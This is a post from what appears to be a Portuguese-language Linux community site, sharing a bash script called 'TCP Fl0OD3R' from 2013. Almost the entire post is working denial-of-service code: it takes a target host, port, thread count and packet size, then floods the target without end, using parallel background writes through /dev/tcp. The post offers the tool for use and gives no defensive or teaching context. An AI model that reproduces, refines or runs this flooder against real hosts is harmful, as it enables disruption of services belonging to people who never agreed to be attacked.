TCP Flooder
Publicado por Perfil removido (última atualização em 18/11/2013)
[ Hits: 5.800 ]
TCP flooder feito em Shell Script.
#!/bin/bash
# TCP Fl0OD3R 8y MMxM
error(){
echo -e "\n\n[sorry dude] connection refused\n\n"
exit;
}
help(){
name=$(basename $0)
cat <<_EXPLAIN
[+] TCP Fl0OD3R 8y MMxM
|
|
*--> [ Options ]
|
| (-x [target-destination] )
| (-p [port-destination] )
| (-t [threads] )
| (-s [size-of-package {bytes}] )
|
*--> [ Example ]
$name -x 127.0.0.1 -p 3306 -t 20 -s 2096
_EXPLAIN
exit;
}
flood(){
dest=$1
port=$2
pack=$3
echo "$pack" > /dev/tcp/$dest/$port
}
[ "$1" ] || help;
while getopts x:p:s:t: OPT;
do
case "$OPT" in
"x") target="${OPTARG}";;
"p") port="${OPTARG}";;
"s") size="${OPTARG}";;
"t") threads="${OPTARG}";;
"?") help;;
esac
done
[ $port ] || help;
[ $target ] || help;
[ $size ] || help;
[ $threads ] || help;
echo >/dev/tcp/$target/$port || error
pack=$(printf %"$size"s |tr " " "M")
echo -e "\n[+] Starting flood\n[*]Ctrl+c to stop !!!\n\n"
sleep 2
declare -A pids
nn=0
while [ 1 ]
do
echo -ne "\r[$nn] Packets sent";
for i in $(seq $threads)
do
flood $target $port $pack &
pid=$!
pids[$pid]=$i
nn=$(($nn+1))
done
while [ -n "${pids[*]}" ]; do
sleep 1
for pid in "${!pids[@]}"; do
if ! ps "$pid" >/dev/null; then
unset pids[$pid]
fi
done
if [ -z "${!pids[*]}" ]; then
break
fi
done
done
Instalador do Nagios no Fedora 14 e CentOS 5
Atualizando KDE 3x para KDE4.1 no Slackware 12
Música com a real beleza da matemática
Instalação de pacotes em uma lista
Nenhum comentário foi encontrado.
LazyDocker – Interface de Usuário em Tempo Real para o Docker
Instalando COSMIC no Linux Mint
Turbinando o Linux Mint: o poder das Nemo Actions
Inteligência Artificial no desenvolvimento de software: quando começar a usar?
Habilitando clipboard manager no ambiente COSMIC
A compatibilidade do LibreOffice com o Microsoft Office
Colocando hotcorner no COSMIC para exibir "workspaces"
Quais licenças open source têm valor jurídico? (0)
Problema com som no laptop (2)









